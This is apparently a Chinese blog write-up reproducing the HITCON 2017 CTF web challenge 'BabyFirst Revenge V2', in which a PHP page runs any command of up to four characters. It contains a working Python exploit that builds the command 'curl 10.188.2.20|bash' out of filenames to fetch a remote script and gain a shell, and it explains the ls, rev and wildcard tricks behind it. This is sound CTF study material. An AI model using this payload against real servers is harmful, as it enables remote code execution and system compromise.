Pr0ph3t

char nick[7] = "Pr0ph3t";

printf("https://github.com/%s\n",nick);

printf("%s\x40pr0ph3t\x2e\\\bcom\n","admin");

puts("91B6 191A C2C3 285C 201D  801B B5A3 6B56 8528 E140");

[hitcon2017] BabyFirst Revenge V2复现

Nov 28, 2017 • CyberSecurity,writeup,hitcon,old

分享本题自制Dockerfile:Github

这题相比于上一题 条件更加的苛刻了 只允许执行最多四个字符
源码如下:

<?php
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);

那我们之前的生成 ls -t>g 就不能按照最后一步 ls>>_ 来执行了

但是我们能不能还是按照 生成命令段文件 最后通过ls来拼接命令执行呢?

这里还是以分析Orange大大的exp为主:

Exp:

import requests
from time import sleep
from urllib import quote

payload = [
    # generate "g> ht- sl" to file "v"
    '>dir', 
    '>sl', 
    '>g\>',
    '>ht-',
    '*>v',

    # reverse file "v" to file "x", content "ls -th >g"
    '>rev',
    '*v>x',

    # generate "curl orange.tw|python;"
    # generate "curl 10.188.2.20|bash"
    '>\;\\', 
    '>sh\\', 
    '>ba\\', 
    '>\|\\', 
    '>20\\', 
    '>2.\\',
    '>8.\\', 
    '>18\\', 
    '>0.\\', 
    '>1\\', 
    '>\ \\', 
    '>rl\\', 
    '>cu\\', 

    # got shell
    'sh x', 
    'sh g', 
]


r = requests.get('http://10.188.2.20:17528/?reset=1')
for i in payload:
    assert len(i) <= 4
    r = requests.get('http://10.188.2.20:17528/?cmd=' + quote(i) )
    print i
    sleep(0.1)

首先生成 ls -t >g的命令文件,这里orange大大的方法真的巧妙到极致了!

  • 先了解一个小trick,*在Linux中代表的是0或多个字符,比如ls *.txt 就表示了列出本目录下所有后缀名为txt的文件,那假如单独执行一个*会是什么效果?
    在本地尝试了一下 直接输入一个星号的话Linux首先会把当前目录下的所有文件按字典序排序一次,然后将排序的结果当作命令执行,如下:
    🌰
    那下图的也可以理解了:
    🌰
    因为*o匹配了 echo 和o,而他们的排序是echo在前,o在后 所以就会执行命令 echo o

  • 再认识一下dir 这个命令在大多数系统中都是ls 的alias 但是有些系统中则没有
    为什么我们要用这个命令呢 因为之前说过ls 是alphabetically (字典序)那么dir就会排在ls结果的最前面 所以我们*之后dir也是排在最前面 也就充当了拼接文件名的角色

  • 大概思路就出来了 我们要构造ls -t>g的命令片段成几个文件名 但是其命令段的首字母不能在d的前面,也就是不能是 特殊符号 数字 abc 而且每一段不能超过两个字符,因为其余两个字符要分配给>和\,如果你尝试一下构造 正常来说是没办法构造出无特殊符号打头的文件名 他总会排到dir的前面,然后更巧妙的地方来了 我们可以生成逆序的命令拼接起来,最后使用rev命令反向文件中的字符串!

  • 根据之前我们对*的认识,我们可以将倒序的命令输入到v文件中,因为*v能匹配rev 和 v,也就是执行了 rev v命令,然后再将倒序之后的结果>x文件中,这样*v>x刚刚好是四个字符!

  • 但是看到这里 你可能还会在尝试过程中发现问题,那就是逆序之后的命令段应该是 [dir,>sl,>g>,>t-] 那么这里会有一个问题 因为t的字母序比s后,所以ls之后应该是这样的:
    Oops
    解决方法是加多一个参数h,在ls中h是用作格式化l参数之后的存储量大小 使之更适合人类方式阅读 但是如果ls只带参数h的不带参数l话那这个参数是毫无意义的 如图:
    🌰
    所以我们将>t-改成>ht-就能解决字典序的问题了

  • 接下来的问题就回到了babyfirst-revenge的情况了

参考:
https://github.com/orangetw/My-CTF-Web-Challenges

Did you like the post? Subscribe to the feed.

Thx!